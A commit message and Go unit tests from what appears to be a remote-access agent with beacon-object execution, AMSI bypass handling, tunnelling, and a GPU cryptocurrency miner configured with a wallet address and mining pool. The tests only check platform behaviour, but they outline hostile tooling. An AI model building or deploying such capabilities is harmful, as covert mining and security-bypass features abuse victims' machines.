Add by-design safety tests and clear PROBLEMS.md rows.

Go/Vitest coverage for bof_execute, hollow AMSI limits, cloudflared stub policy, KEV n/a, mesh P2P zero peers, and non-Windows GPU/camera stubs. Skip GPU subprocess on non-Windows; document cloudflared external connector path.

agent/client/gpu_miner_platform_test.go

@@ -0,0 +1,28 @@
+//go:build !windows
+
+package client
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestGPUMinerSpecDownloadsWindowsExeOnly(t *testing.T) {
+	for _, vendor := range []GPUVendor{GPUVendorNVIDIA, GPUVendorAMD} {
+		g := &GPUMiner{info: GPUInfo{Vendor: vendor}}
+		s := g.spec()
+		if !strings.HasSuffix(strings.ToLower(s.fileName), ".exe") {
+			t.Fatalf("vendor %v fileName = %q, want Windows .exe miner", vendor, s.fileName)
+		}
+		if !strings.Contains(strings.ToLower(s.downloadURL), "-win") {
+			t.Fatalf("vendor %v downloadURL = %q, want Windows release archive", vendor, s.downloadURL)
+		}
+	}
+}
+
+func TestNewGPUMinerSkippedOnNonWindows(t *testing.T) {
+	cfg := cfgWithGPU("RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", "rvn.2miners.com", 6060)
+	if g := newGPUMiner(cfg); g != nil {
+		t.Fatal("newGPUMiner must return nil on non-Windows — miners ship as .exe only")
+	}
+}